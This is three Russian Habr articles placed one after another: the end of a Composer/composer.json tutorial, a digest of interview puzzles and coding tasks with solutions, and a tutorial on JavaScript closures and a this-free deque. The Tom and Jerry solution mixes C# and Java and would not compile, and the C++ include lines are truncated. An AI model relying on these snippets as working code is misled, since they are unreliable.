Как мы это сделаем теперь: используем Composer — он сам скачает все библиотеки и сгенерирует для нас autoload.php. Кроме того, если мы захотим показать «Super Hello World» коллегам, достаточно будет опубликовать код нашего проекта на github (или ещё где-нибудь), не включая всех требуемых библиотек в репозиторий и не готовя длинной инструкции по их установке. Нашим коллегам достаточно будет скачать (склонировать) «Super Hello World» и выполнить команду
```
php composer.phar install
```
Composer распространяется в виде одного файла **composer.phar** ([phar](http://php.net/manual/en/book.phar.php) — это php-архив) — по сути это PHP скприт, который может принимать несколько команд (install, update, ...) и умеет скачивать и распаковывать библиотеки.
Кстати, немного о синтаксисе запуска.
Если вы работаете под Windows, то скорее всего вы будете писать что-то вроде
```
php C:\path\to\composer.phar install
```
Можно упростить себе жизнь, создав composer.bat и положив его в %PATH%.
В Linux и OS X можно настроить на исполнение команду типа
```
composer install
```
##### composer.json
Итак, мы готовы написать наш Super Hello World проект. И я его только что написал: <http://github.com/pqr/superhelloworld>. Код состоит из одного index.php файла в директории web и шаблона layout.twig в директории views.
Голова всему — это файл **composer.json**. Он должен быть в корне проекта, в нашем случае рядом с директориями web и view. В этом файле необходимо указать от каких библиотек зависит наш проект. Кроме того, если эти библиотеки не являются оформленными Composer-пакетами, то нужно указать некоторую дополнительную информацию об устанавливаемой библиотеке (например, описать правила автозагрузки классов и функций для autoload.php).
composer.json, как вы догадались, имеет формат данных JSON. На вопрос "*почему именно JSON?*" разработчики Composer отвечают "*Потому что. Просто примите это.*".
Нам нужно описать один js-объект, в котором будут находиться все инструкции. Первая и самая главная инструкция: **require**.
##### Подключаем пакеты с сайта packagist.org
```
{
"require": {
"php":">=5.3.0",
"silex/silex":"dev-master",
"twig/twig":">=1.8,<2.0-dev"
}
}
```
Здесь я описал зависимость проекта от PHP версии 5.3.0 и выше, от silex (микрофреймворк) и от twig (шаблонизатор). Silex и Twig доступны в виде Composer-пакетов на сайте packagist.org, поэтому дополнительных настроек не требуют. Замечу, что Silex в свою очередь зависит ещё от нескольких пакетов — все они будут скачены и установлены автоматически.
Имя пакета состоит из двух частей разделёных косой чертой: **названия поставщика** (vendor name) и **названия библиотеки**. Названием поставщика зачастую является ник автора или имя компании. Иногда, название поставщика совпадает с именем самой библиотеки или фреймворка.
Для каждого пакета обязательно нужно указать номер версии. Это может быть бранч в репозитории, например, «dev-master» — приставка dev сигнализирует, что это имя бранча, а сам бранч соответсвенно называется «master». Для mercurial репозитория аналогичная запись будет выглядеть как «dev-default». В качестве номера версии можно указать и более сложные правила, используя операторы сравнения. Кстати, если вы скачиваете код из удалённого репозитория, то Composer сканирует теги и имена веток в этом репозитории на предмет чего-то похожего на номера версий, например тег «v1.2.3» будет использован как указатель на версию 1.2.3.
##### Подключаем на собственный Compsoer-пакет
Далее, подключим наш собственный пакет SuperLogger, который правильно оформлен, но опубликован не на packagist.org, а на github:
```
{
"require": {
"php":">=5.3.0",
"silex/silex":"dev-master",
"twig/twig":">=1.8,<2.0-dev",
"mycompany/superlogger":"dev-master"
},
"repositories":[
{
"type":"git",
"url":"http://github.com/pqr/superlogger"
}
]
}
```
Чтобы Composer знал где искать пакет «mycompany/superlogger», мы добавили массив **repositories** со ссылкой на соотвествующий github репозиторий. Обратим внимание, что записи в массиве repositories напрямую никак не связаны с блоком require — между пакетами и репозиториями не указано соответствие. На сколько я понял, Composer ищет все требуемые пакеты во всех указанных репозиториях (в т.ч. на сайте packagist.org) и скачивает найденные совпадения по каким-то внутренним приоритетам. Более глубоко я в этом моменте ещё не разбирался, поправьте меня, если кто-то знает детали.
##### Подключаем произвольный git репозиторий
Теперь подключим нашу легаси-библиотеку superlib, которая лежит на github, но не является оформленным Composer-пакетом, т.к. она очень старая.
```
{
"require":{
"php":">=5.3.0",
"silex/silex":"dev-master",
"twig/twig":">=1.8,<2.0-dev",
"mycompany/superlogger":"dev-master",
"pqr/superlib":"1.2.3"
},
"repositories":[
{
"type":"git",
"url":"http://github.com/pqr/superlogger"
},
{
"type":"package",
"package":{
"name":"pqr/superlib",
"version":"1.2.3",
"source":{
"type":"git",
"url":"http://github.com/pqr/superlib",
"reference":"master"
},
"autoload":{
"classmap":["timer.php"],
"files":["lib_functions.php"]
}
}
}
]
}
```
В массив repositories добавился объект, который целиком описывает пакет pqr/superlib. По сути, это то описание, которое должен был бы сделать автор библиотеки и положить его внутри своего репозитория. Но по условиям задачи, superlib не является оформленным Composer-пакетом, поэтому нам пришлось создать его описание в рамках Super Hello World проекта. Аналогичным образом можно подключить любую другую библиотеку, в т.ч. простой zip файл.
##### Подключаем простой zip файл
Например, вот как могло бы выглядеть описание зависимости от шаблонизатора Smarty, распространяемого в виде zip файла с исходниками в svn:
```
{
"repositories":[
{
"type":"package",
"package":{
"name":"smarty/smarty",
"version":"3.1.7",
"dist":{
"url":"http://www.smarty.net/files/Smarty-3.1.7.zip",
"type":"zip"
},
"source":{
"url":"http://smarty-php.googlecode.com/svn/",
"type":"svn",
"reference":"tags/Smarty_3_1_7/distribution/"
}
}
}
],
"require":{
"smarty/smarty":"3.1.*"
}
}
```
##### Инстукция autoload
Вернёмся к нашему проекту.
Описывая «pqr/superlib», мы добавили инструкцию **autoload**. В ней указан файл timer.php, в котором будущий автозагрузчик будет искать классы и указали файл с функциями lib\_functions.php — он будет принудительно подключаться в начале autoload.php.
Итак, наш проект состоит из:
* в корне лежит файл composer.json;
* в корне находятся директории web и views;
* внутри директории web лежит файл с «бизнес-логикой» нашего приложения: index.php;
* внутри директории views лежит файл шаблона layout.twig;
* дополнительно, в папку web я положил .htaccess (для apache) и web.config (для IIS 7.5) с правилами mod\_rewrite/url rewriter — непосредсвенно к настройке Composer они отношения не имеют.
Всё готово к запуску.
##### Запускаем composer install
```
php composer.phar install
```
Composer клонирует репозитории и распаковывает их на нужной версии в директорию **vendor**, которую он сам создаёт в корне проекта. После распаковки, в директории vendor мы найдём:
* файл autoload.php
* служебные директории .composer и composer
* pimple — пакет, который подтянулся вместе с микрофреймворком Silex
* silex — сам микрофреймворк, его мы явным образом затребовали при описании зависимостей
* symfony — некоторые компоненты из Symfony 2, которые требуются для работы Silex
* twig — шаблонизатор, который мы также явно запросили
* mycompany — внутри этой директории будет находиться репозиторий superlogger скаченный с github
* pqr — внутри этой директории будет находиться репозиторий superlib, также скаченный с github
Остаётся только подключить autoload.php в начале файла web/index.php (require "../vendor/autoload.php") и все библиотеки и функции будут доступны!
##### Как создать собственный Composer пакет?
В этом проекте мы использовали Composer с точки зрения потребителя библиотек. А как самому создать Composer пакет, чтобы любой другой человек смог им воспользоваться?
На самом деле, один из таких пакетов я создал, когда подготавливал примеры для этой статьи. В корне репозитория superlogger лежит файл [composer.json](http://github.com/pqr/superlogger/blob/master/composer.json) похожей структуры, который описывает сам пакет и его зависимости (в случае с superlogger зависимостей нет). Другие примеры: репозитории silex и twig, которые скачались в папку vendor — все они имеют файл composer.json в корне — смотрите, изучайте!
И, конечно, не забывайте про документацию на официальном сайте [getcomposer.org/doc/](http://getcomposer.org/doc/).
Эту тему я оставлю вам для самостоятельной проработки.
#### Подведём итоги
В этой статье я рассказал, что такое Composer, его историю и описал основные возможности. Мы с вами попробовали создать проект, который использует Composer для установки пакетов с сайта packagist.org и из наших собственных репозиториев.
**Самое время попробовать!**
1. Скачате Composer ([getcomposer.org/download/](http://getcomposer.org/download/))
2. Скачате superhelloworld (git clone git://github.com/pqr/superhelloworld.git)
3. Установите зависимости (cd superhelloworld && php composer.phar install)
4. Изучите появившуюся папку vendor и сгенерированный autoload.php
5. Используте Composer в своих проектах
…
6. PROFIT!!!
На добавку пара ссылок по теме:
[Composer: Part 1 – What & Why](http://nelm.io/blog/2011/12/composer-part-1-what-why/)
[Composer: Part 2 – Impact](http://nelm.io/blog/2011/12/composer-part-2-impact/)
#### P.S.
В своих рабочих проектах я использую систему контроля версий Mercurial. Этот пример вы также можете скачать и установить через Composer с сайта bitbucket.org: <http://bitbucket.org/pqr/superhelloworld>
**Внимание**: к сожалению, при использовании Composer с Mercurial репозиториями на Windows машине я нашел один баг. Если вы устанавливаете зависимости в проекте, который находится на диске отличном от системного диска, то получите ошибку. Например, системный диск C:, а проект вы разворачиваете где-то в папке D:\someproject и ваш проект зависит от библиотек опубликованных в виде Mercurial репозиториев — Composer не сможет правильно их прочитать. Собираюсь в ближайшее время пофиксить этот баг и отправить pull request в официальный репозиторий Composer'а. | https://habr.com/ru/post/145946/ | null | ru | null |
# Выпуск#26: ITренировка — актуальные вопросы и задачи от ведущих компаний
Срочно в номер! Возрождение рубрики ITренировки. Мы вновь собрали вопросы и задачи, задаваемые на собеседованиях в IT-компании.
Выпуски будут появляться каждую неделю — следите за обновлениями! Рубрика выходит при поддержке рекрутингового агентства [Spice IT](http://www.spice-agency.ru/ru/).
Сегодня у нас задачи — очень разного уровня сложности — с собеседований в индийскую компанию Flipkart. Ну что, прошли собес?
Вопросы
-------
1. **Thief, Treasure and 2 Doors**
> A thief has just found a pair of ancient treasure caves. One of the caves is filled with unbelievable treasure and the other has a fire breathing monster that will eat anyone who opens that cave.
>
> One cave has a black door decorated with diamonds and the other cave has a brown door decorated with sapphires.
>
> Each of the doors has an engraved description on top. The descriptions say:
>
>
>
> **Black Door:** Monster is here.
>
> **Brown Door:** Only One Door speaks the truth.
>
>
>
> Which door should the thief open?
**Перевод**Вор только что нашел пару древних пещер. Одна из пещер заполнена невероятными сокровищами, а в другой находится огнедышащий монстр, который съест любого, кто откроет эту пещеру.
Вход в первую пещеру преграждает черная дверь, украшенная бриллиантами, а в другую — коричневая дверь, украшенная сапфирами.
Каждая из дверей имеет выгравированное описание сверху. Описания гласят:
**Черная дверь:** монстр здесь.
**Коричневая дверь:** только одна дверь говорит правду.
Какую дверь должен открыть вор?
2. **Find ages of daughters**
> Alok has three daughters. His friend Shyam wants to know the ages of his daughters. Alok gives him first hint.
>
> 1. The product of their ages is 72. Shyam says this is not enough information Alok gives him a second hint.
> 2. The sum of their ages is equal to my house number. Shyam goes out and look at the house number and tells “I still do not have enough information to determine the ages”. Alok admits that Shyam can not guess and gives him the third hint
> 3. The oldest of the girls likes strawberry ice-cream. Shyam is able to guess after the third hint.
>
>
>
> Can you guess what are the ages of three daughters?
**Перевод**У Алока трое дочерей. Его друг Шиям хочет знать возраст его дочерей. Алок дает ему первый намек.
1. Произведение их возрастов составляет 72. Шиям говорит, что этой информации недостаточно, тогда Алок даёт ему вторую подсказку.
2. Сумма их возрастов равна номеру моего дома. Шиям выходит, смотрит на номер дома и говорит: «Мне все еще не хватает информации, чтобы определить возраст». Алок признает, что Шиям не сможет догадаться, и поэтому дает ему третью подсказку.
3. Старшая из девушек любит клубничное мороженое. Только после третьей подсказки у Шияма получилось угадать возраст дочерей.
Можете ли вы угадать, каков возраст каждой из трёх дочерей?
Задачи
------
1. **Tom and Jerry**
> Since very long time Tom and Jerry have been fighting with each other for a piece of Cheese. So finally you came to rescue and decided that the result of the fight will be decided by a mathematical game, in which you will write a number N `(1 <= N <= 10^6)`. Tom and Jerry will play the game alternatively and each of them would subtract a number n `[n < N]` such that `N % n = 0`.
>
> The game is repeated turn by turn until the one, who now cannot make a further move looses the game.
>
> The game begins with Tom playing first move. It is well understood that both of them will make moves in optimal way. You are to determine who wins the game.
>
>
>
> **Input:** the first line of each test case consists of N the number.
>
> **Output:** print 1 if Tom wins and print 0 if Jerry wins in a separate line.
>
>
>
> **Constraints:**
>
> `1 <= N <= 10^6`
>
>
>
> **Sample:**
>
> **Input:** 2 / **Output:** 1
>
> **Input:** 4 / **Output:** 1
**Перевод**На протяжении долгого времени Том и Джерри боролись друг с другом за кусок сыра. Вы решили помочь им быстро определять победителя. Результат поединка будет решаться в математической игре, в которой вы будете писать число N `(1 <= N <= 10^6)`. Том и Джерри будут играть в игру поочередно. Каждый из них вычтет число n `[n < N]` так, что `N % n = 0`.
Игра продолжается до тех пор, пока один из участников может сделать ход. Тот, кто не сможет сделать последний ход, проигрывает.
Игра начинается с того, что Том делает первый ход. Понятно, что оба они будут делать ходы оптимальным образом. Вы должны определить, кто победит в игре.
**На вход подается:** первая строка ввода каждого теста состоит из числа N.
**Выводить программа должна:** 1, если победит Том; 0, если Джерри выиграет. В отдельной строке.
**Ограничения:**
`1 <= N <= 10 ^ 6`
**Пример**
**Ввод:** 2 / **Вывод:** 1
**Ввод:** 4 / **Вывод:** 1
2. **N meetings in one room**
> There is one meeting room in a firm. There are N meetings in the form of `(S[i], F[i])` where S[i] is start time of meeting i and F[i] is finish time of meeting i.
>
> What is the maximum number of meetings that can be accommodated in the meeting room?
>
>
>
> **Input:**
>
> The first line of input consists number of the test cases. The description of T test cases is as follows:
>
> The first line consists of the size of the array, second line has the array containing the starting time of all the meetings each separated by a space, i.e., S [i]. And the third line has the array containing the finishing time of all the meetings each separated by a space, i.e., F [i].
>
> **Output:**
>
> In each separate line print the order in which the meetings take place separated by a space.
>
>
>
> **Constraints:**
>
> `1 ≤ T ≤ 70
>
> 1 ≤ N ≤ 100
>
> 1 ≤ S[ i ], F[ i ] ≤ 100000`
>
>
>
> **Example:**
>
> **Input:**
>
> `2
>
> 6
>
> 1 3 0 5 8 5
>
> 2 4 6 7 9 9
>
> 8
>
> 75250 50074 43659 8931 11273 27545 50879 77924
>
> 112960 114515 81825 93424 54316 35533 73383 160252`
>
> **Output:**
>
> `1 2 4 5
>
> 6 7 1`
**Перевод**В фирме есть одна переговорная. Существует N встреч в форме `(S [i], F [i])`, где S [i] — время начала встречи i, а F [i] — время окончания встречи i.
Задача — разместить максимальное количество встреч в переговорной.
**Входные данные:**
Первая строка ввода содержит количество тестов. Описание тестов выглядит так:
• первая строка состоит из размера массива;
• вторая строка имеет массив, содержащий время начала всех встреч S[i], каждое из которых разделено пробелом;
• третья строка содержит массив, содержащий время окончания всех встреч F[i], каждое из которых разделено пробелом.
**Вывод:**
в каждой отдельной строке выведите порядок, в котором проходят собрания, через пробел.
**Ограничения:**
`1 ≤ T ≤ 70
1 ≤ N ≤ 100
1 ≤ S [i], F [i] ≤ 100000`
**Пример:
Ввод:**
`2
6
1 3 0 5 8 5
2 4 6 7 9 9
8
75250 50074 43659 8931 11273 27545 50879
77924 112960 114515 81825 93424 54316 35533 73383 160252`
**Выход:**
`1 2 4 5
6 7 1`
3. **Inversion of array**
> Given an array of positive integers. The task is to find inversion count of array.
>
> **Inversion Count:** For an array, inversion count indicates how far (or close) the array is from being sorted. If array is already sorted then inversion count is 0. If array is sorted in reverse order that inversion count is the maximum.
>
> Formally, two elements a[i] and a[j] form an inversion if `a[i] > a[j]` and `i < j`.
>
>
>
> **Input:** The first line of input contains an integer T denoting the number of test cases. The first line of each test case is N, the size of array. The second line of each test case contains N elements.
>
> **Output:** Print the inversion count of array.
>
>
>
> **Constraints:**
>
> `1 ≤ T ≤ 100
>
> 1 ≤ N ≤ 107
>
> 1 ≤ C ≤ 1018`
>
>
>
> **Example:
>
> Input:**
>
> `1
>
> 5
>
> 2 4 1 3 5`
>
> **Output:**
>
> `3`
**Перевод**Дан массив натуральных чисел. Задача — найти количество инверсий массива.
**Количество инверсий:** для массива количество инверсии указывает, насколько далеко (или близко) массив от сортировки. Если массив уже отсортирован, то количество инверсий равно 0. Если массив отсортирован в обратном порядке, то количество инверсий является максимальным.
Формально два элемента a[i] и a[j] образуют инверсию, если `a[i] > a[j]` и `i < j`.
**Входные данные:**
первая строка содержит целое число T, обозначающее количество тестов. Первая строка каждого теста — это N, размер массива. Вторая строка каждого теста содержит N элементов.
**Выход:**
вывести количество инверсий массива.
**Ограничения:**
`1 ≤ T ≤ 100
1 ≤ N ≤ 10 7
1 ≤ C ≤ 10 18`
**Пример:
Ввод:**
`1
5
2 4 1 3 5`
**Выход:**
3
Ну, как и обещали! На вопросы многие смогли ответить, а вот с задачками, видимо, было по-сложнее! :)
Ответы
------
**Вопрос 1****Ответ:** в черную дверь.
**Решение:** давайте посмотрим на описание на коричневой двери «только одна дверь говорит правду». Это можно быть правдой или неправдой.
Сценарий 1: Описание на коричневой двери является правдой. Тогда описание на черной двери («монстр здесь») должно быть ложью. Это означает, что пещера с черной дверью содержит сокровища!
Сценарий 2: описание на коричневой двери ложно. Тогда либо оба описания ложны, либо оба истинны. Оба описания не могут быть правдой, поскольку это невозможно и не согласовано. Это означает, что оба описания являются ложными. Опять же, сокровище в черной двери.
**Вопрос 2****Ответ:** возраст дочерей: 3 года, 3 года и 8 лет.
**Решение:** 1) Для начала, сказано, что произведение возрастов равно 72.
Найдём все возможные варианты, при которых произведение будет равно 72:
* 1 \* 1 \* 72 = 72
* 1 \* 2 \* 36 = 72
* 1 \* 3 \* 24 = 72
* 1 \* 4 \* 18 = 72
* 1 \* 6 \* 12 = 72
* 1 \* 8 \* 9 = 72
* 2 \* 2 \* 18 = 72
* 2 \* 3 \* 12 = 72
* 2 \* 4 \* 9 = 72
* 2 \* 6 \* 6 = 72
* 3 \* 3 \* 8 = 72
* 3 \* 4 \* 6 = 72
Этого, конечно же, недостаточно, чтобы дать точный ответ.
Далее Шиям смотрит на номер дома (какой номер — не сообщается) и всё равно не может дать точный ответ. Просуммируем все найденные ранее варианты:
* 1 + 1 + 72 = 74
* 1 + 2 + 36 = 39
* 1 + 3 + 24 = 28
* 1 + 4 + 18 = 23
* 1 + 6 + 12 = 19
* 1 + 8 + 9 = 18
* 2 + 2 + 18 = 22
* 2 + 3 + 12 = 17
* 2 + 4 + 9 = 15
* 2 + 6 + 6 = 14
* 3 + 3 + 8 = 14
* 3 + 4 + 6 = 13
Очевидно, что одна из сумм и есть номер дома. Так как Шиям не смог точно ответить, делается однозначный вывод, что номер дома — 14, так как вариантов с этим результатом — два.
* 2 + 6 + 6 = 14
* 3 + 3 + 8 = 14
3) Из третьей подсказки следует понять, что есть старшая дочь (не несколько, а одна), поэтому из двух вариантов, которые мы нашли на втором шаге, только один подходит.
**Задача 1** [Lolohaev правильно мыслил!](https://habr.com/ru/company/spice/blog/477460/#comment_20932862)
**Ответ:** `(n - 1) % 2`
**Решение:**
```
using System;
public class TomJerry {
static public void Main () {
Scanner sc = new Scanner(System.in);
int n = sc.nextInt();
System.out.printIn((n - 1) % 2);
}
}
```
**Задача 2**В решении использован Жадный алгоритм ([Greedy algorithm](https://en.wikipedia.org/wiki/Greedy_algorithm)).
```
#include
using namespace std;
struct Activity
{
int start, finish, index;
};
bool activityCompare(Activity s1, Activity s2)
{
return s1.finish < s2.finish;
}
int main()
{
int t, n, i, j;
cin >> t;
while (t--)
{
cin >> n;
Activity arr[n];
for (i = 0; i < n; i++)
{
cin >> arr[i].start;
arr[i].index = i;
}
for (i = 0; i < n; i++)
cin >> arr[i].finish;
sort(arr, arr + n, activityCompare);
i = 0;
cout << arr[i].index + 1 << " ";
for (int j = 1; j < n; j++)
{
if (arr[j].start >= arr[i].finish)
{
cout << arr[j].index + 1 << " ";
i = j;
}
}
cout << endl;
}
return 0;
}
```
**Задача 3**
```
#include
using namespace std;
int merge(int\* arr, int\* LArr, int\* RArr, int m, int n)
{
int i = 0, j = 0, k = 0;
int count = 0;
while (i < m && j < n)
{
if (LArr[i] <= RArr[j])
arr[k++] = LArr[i++];
else
{
arr[k++] = RArr[j++];
count = count + m - i;
}
}
while (i < m)
arr[k++] = LArr[i++];
while (j < n)
arr[k++] = RArr[j++];
return count;
}
int mergeSort(int\* arr, int start, int end)
{
if (start > end)
return 0;
if (start == end)
return 0;
if (start == end - 1)
{
if (arr[start] <= arr[end])
return 0;
else
swap(arr[start], arr[end]);
return 1;
}
int mid = (start + end) / 2;
int\* LArr = new int[mid + 1];
int\* RArr = new int[end - mid];
int i;
for (i = start; i <= mid; i++)
LArr[i] = arr[i];
for (i = mid + 1; i <= end; i++)
RArr[i - (mid + 1)] = arr[i];
int count = 0;
count += mergeSort(LArr, 0, mid);
count += mergeSort(RArr, 0, end - mid - 1);
count += merge(arr, LArr, RArr, mid + 1, end - mid);
delete[] LArr;
delete[] RArr;
return count;
}
int main()
{
int t, n,\*arr;
cin >> t;
while (t--)
{
cin >> n;
arr = new int[n];
for (int i = 0; i < n; i++)
cin >> arr[i];
cout << mergeSort(arr, 0, n - 1) << endl;
}
}
``` | https://habr.com/ru/post/477460/ | null | ru | null |
# JavaScript без this
Ключевое слово `this` в JavaScript можно назвать одной из наиболее обсуждаемых и неоднозначных особенностей языка. Всё дело в том, что то, на что оно указывает, выглядит по-разному в зависимости от того, где обращаются к `this`. Дело усугубляется тем, что на `this` влияет и то, включён или нет строгий режим.
[](https://habrahabr.ru/company/ruvds/blog/334222/)
Некоторые программисты, не желая мириться со странностями `this`, стараются вовсе не пользоваться этой конструкцией языка. Не вижу тут ничего плохого. На почве неприятия `this` было создано много полезного. Например — стрелочные функции и привязка `this`. Как результат, при разработке можно практически полностью обойтись без `this`.
Означает ли это, что «борьба с `this`» окончена? Нет конечно. Если поразмыслить, можно обнаружить, что задачи, которые традиционно решают с привлечением функций-конструкторов и `this`, можно решить и другим способом. Этот материал посвящён описанию именно такого подхода к программированию: никаких `new` и никаких `this` на пути к более простому, понятному и предсказуемому коду.
Сразу хотелось бы отметить, что этот материал предназначен для тех, кто знает, что такое `this`. Мы не будем рассматривать здесь основы JS, наша главная цель — описание особого подхода к программированию, исключающего использование `this`, и, благодаря этому, способствующего устранению потенциальных неприятностей, с `this` связанных. Если вы хотите освежить свои знания о `this`, [вот](https://codeburst.io/javascript-the-keyword-this-for-beginners-fb5238d99f85) и [вот](https://codeburst.io/the-simple-rules-to-this-in-javascript-35d97f31bde3) материалы, которые вам в этом помогут.
Есть идея
---------
Начнём мы с того, что в JavaScript функции — это объекты первого класса. Так, их можно передавать другим функциям в качестве параметров и возвращать из других функций. В последнем случае, при возврате одной функции из другой, создаётся замыкание. Замыкание — это внутренняя функция, которая имеет доступ к цепочке областей видимости переменных внешней функции. В частности, речь идёт о переменных, объявленных во внешней функции, которые недоступны напрямую из области видимости, которая включает в себя эту внешнюю функцию. Вот, например, функция, которая добавляет переданное ей число к переменной, хранящейся в замыкании:
```
function makeAdder(base) {
let current = base;
return function(addition) {
current += addition;
return current;
}
}
```
Функция `makeAdder()` принимает параметр `base` и возвращает другую функцию. Эта функция принимает числовой параметр. Кроме того, у неё есть доступ к переменной `current`. Когда её вызывают, она прибавляет переданное ей число к `current` и возвращает результат. Между вызовами значение переменной `current` сохраняется.
Тут важно обратить внимание на то, что замыкания определяют собственные локальные лексические области видимости. Функции, определённые в замыканиях, оказываются в закрытом от посторонних пространстве.
Замыкания — весьма мощная возможность JavaScript. Их корректное использование позволяет создавать сложные программные системы с надёжно разделёнными уровнями абстракции.
Выше мы возвращали из функции другую функцию. С тем же успехом, вооружившись имеющимися у нас знаниями о замыканиях, из функции можно возвратить объект. Этот объект будет иметь доступ к локальному окружению. Фактически, его можно воспринимать как открытое API, которое даёт доступ к функциям и переменным, хранящимся в замыкании. То, что мы только что описали, называется «шаблон revealing module».
Этот шаблон проектирования позволяет явным образом указать общедоступные члены модуля, оставив все остальные приватными. Это улучшает читаемость кода и упрощает его использование.
Вот пример:
```
let counter = (function() {
let privateCounter = 0;
function changeBy(val) {
privateCounter += val;
}
return {
increment: function() {
changeBy(1);
},
decrement: function() {
changeBy(-1);
},
value: function() {
return privateCounter;
}
};
})();
counter.increment();
counter.increment();
console.log(counter.value()); // выводит в лог 2
```
Как видите, переменная `privateCounter` — это данные, с которыми нам надо работать, скрытые в замыкании и недоступные напрямую извне. Общедоступные методы `increment()`, `decrement()` и `value()` описывают операции, которые можно выполнять с `privateCounter`.
Теперь у нас есть всё необходимое для программирования на JavaScript без использования `this`. Рассмотрим пример.
Двухсторонняя очередь без this
------------------------------
Вот простой пример использования замыканий и функций без `this`. Это — реализация известной структуры данных, которая называется [двухсторонняя очередь](https://en.wikipedia.org/wiki/Double-ended_queue) (deque, double-ended queue ). Это — [абстрактный тип данных](https://en.wikipedia.org/wiki/Abstract_data_type), который работает как [очередь](https://en.wikipedia.org/wiki/Queue_(abstract_data_type)), однако, расти и уменьшаться наша очередь может в двух направлениях.
Двухстороннюю очередь можно реализовать с помощью связного списка. На первый взгляд всё это может показаться сложным, но на самом деле это не так. Если вы изучите приведённый ниже пример, вы легко разберётесь с реализацией двухсторонней очереди и необходимых для её функционирования операций, но, что важнее, сможете применить изученные техники программирования в собственных проектах.
Вот список типовых операций, которые должна уметь выполнять двухсторонняя очередь:
* **create**: Создание нового объекта двухсторонней очереди
* **isEmpty**: Проверка, пуста ли очередь
* **pushBack**: Добавление нового элемента в конец очереди
* **pushFront**: Добавление нового элемента в начало очереди
* **popBack**: Удаление и возврат последнего элемента очереди
* **popFront**: Удаление и возврат первого элемента очереди
До написания кода подумаем о том, как реализовать очередь, оперируя объектами и переменными замыкания. Подготовительный этап — важная часть разработки.
Итак, для начала нужна переменная, назовём её `data`, которая будет хранить данные каждого элемента очереди. Кроме того, нам нужны указатели на первый и последний элементы, на голову и хвост очереди. Назовём их, соответственно, `head` и `tail`. Так как очередь мы создаём на основе связного списка, нам нужен способ связи элементов, поэтому для каждого элемента требуются указатели на следующий и предыдущий элементы. Назовём эти указатели `next` и `prev`. И, наконец, требуется отслеживать количество элементов в очереди. Воспользуемся для этого переменной `length`.
Теперь поговорим о группировке вышеописанных переменных. Каждому элементу очереди, узлу, нужна переменная с его данными — `data`, а также указатели на следующий и предыдущий узлы — `next` и `prev`. Исходя из этих соображений создадим объект `Node`, представляющий собой элемент очереди:
```
let Node = {
next: null,
prev: null,
data: null
};
```
Каждая очередь должна хранить указатели на собственную голову и хвост (переменные `head` и `tail`), а также сведения о собственной длине (переменная `length`). Исходя из этого, определим объект `Deque` следующим образом:
```
let Deque = {
head: null,
tail: null,
length: 0
};
```
Итак, у нас есть объект, `Node`, представляющий собой отдельный узел очереди, и объект `Deque`, представляющий саму двухстороннюю очередь. Их нужно хранить в замыкании:
```
module.exports = LinkedListDeque = (function() {
let Node = {
next: null,
prev: null,
data: null
};
let Deque = {
head: null,
tail: null,
length: 0
};
// тут нужно вернуть общедоступное API
})();
```
Теперь, после того, как переменные помещены в замыкание, можно описать метод `create()`. Он устроен довольно просто:
```
function create() {
return Object.create(Deque);
}
```
С этим методом мы разобрались. Нельзя не заметить, что очередь, которую он возвращает, не содержит ни одного элемента. Совсем скоро мы это исправим, а пока создадим метод `isEmpty()`:
```
function isEmpty(deque) {
return deque.length === 0
}
```
Этому методу мы передаём объект двухсторонней очереди, `deque`, и проверяем равняется ли его свойство `length` нулю.
Теперь пришло время метода `pushFront()`. Для того, чтобы его реализовать, надо выполнить следующие операции:
1. Создать новый объект `Node`.
2. Если очередь пуста, нужно установить указатели головы и хвоста очереди на новый объект `Node`.
3. Если очередь не пуста, нужно взять текущий элемент очереди `head` и установить его указатель `prev` на новый элемент, а указатель `next` нового элемента установить на тот элемент, который записан в переменную `head`. В результате первым элементом очереди станет новый объект `Node`, за которым будет следовать тот элемент, который был первым до выполнения операции. Кроме того, надо не забыть обновить указатель очереди `head` таким образом, чтобы он ссылался на её новый элемент.
4. Увеличить длину очереди, инкрементировав её свойство `length`.
Вот как выглядит код метода `pushFront()`:
```
function pushFront(deque, item) {
// Создадим новый объект Node
const newNode = Object.create(Node);
newNode.data = item;
// Сохраним текущий элемент head
let oldHead = deque.head;
deque.head = newNode;
if (oldHead) {
// В этом случае в очереди есть хотя бы один элемент, поэтому присоединим новый элемент к началу очереди
oldHead.prev = newNode;
newNode.next = oldHead;
} else {// Если попадаем сюда — очередь пуста, поэтому просто запишем новый элемент в tail.
deque.tail = newNode;
}
// Обновим переменную length
deque.length += 1;
return deque;
}
```
Метод `pushBack()`, позволяющий добавлять элементы в конец очереди, очень похож на тот, что мы только что рассмотрели:
```
function pushBack(deque, item) {
// Создадим новый объект Node
const newNode = Object.create(Node);
newNode.data = item;
// Сохраним текущий элемент tail
let oldTail = deque.tail;
deque.tail = newNode;
if (oldTail) {
// В этом случае в очереди есть хотя бы один элемент, поэтому присоединим новый элемент к концу очереди
oldTail.next = newNode;
newNode.prev = oldTail;
} else {// Если попадаем сюда — очередь пуста, поэтому просто запишем новый элемент в head.
deque.head = newNode;
}
// Обновим переменную length
deque.length += 1;
return deque;
}
```
После того, как методы реализованы, создадим общедоступное API, которое позволяет вызывать извне методы, хранящиеся в замыкании. Сделаем это, вернув соответствующий объект:
```
return {
create: create,
isEmpty: isEmpty,
pushFront: pushFront,
pushBack: pushBack,
popFront: popFront,
popBack: popBack
}
```
Здесь, помимо тех методов, которых мы описали выше, есть и те, которые пока не созданы. Ниже мы к ним вернёмся.
Как же всем этим пользоваться? Например, так:
```
const LinkedListDeque = require('./lib/deque');
d = LinkedListDeque.create();
LinkedListDeque.pushFront(d, '1'); // [1]
LinkedListDeque.popFront(d); // []
LinkedListDeque.pushFront(d, '2'); // [2]
LinkedListDeque.pushFront(d, '3'); // [3]<=>[2]
LinkedListDeque.pushBack(d, '4'); // [3]<=>[2]<=>[4]
LinkedListDeque.isEmpty(d); // false
```
Обратите внимание на то, что у нас имеется чёткое разделение данных и операций, которые можно выполнять над этими данными. С двусторонней очередью можно работать, пользуясь методами из `LinkedListDeque`, до тех пор, пока есть работающая ссылка на неё.
Домашнее задание
----------------
Подозреваю, вы думали, что добрались до конца материала, и всё поняли, не написав ни строчки кода. Правда? Для того, чтобы добиться полного понимания того, о чём мы говорили выше, ощутить на практике предложенный подход к программированию, я советую вам выполнить следующие упражнения. Просто клонируйте мой репозиторий на [GitHub](https://github.com/theodesp/thisless-deque) и приступайте к делу. (Решений задачек там, кстати, нету.)
1. Основываясь на рассмотренных выше примерах реализации методов, создайте остальные. А именно, напишите функции `popBack()` и `popFront()`, которые, соответственно, удаляют и возвращают первый и последний элементы очереди.
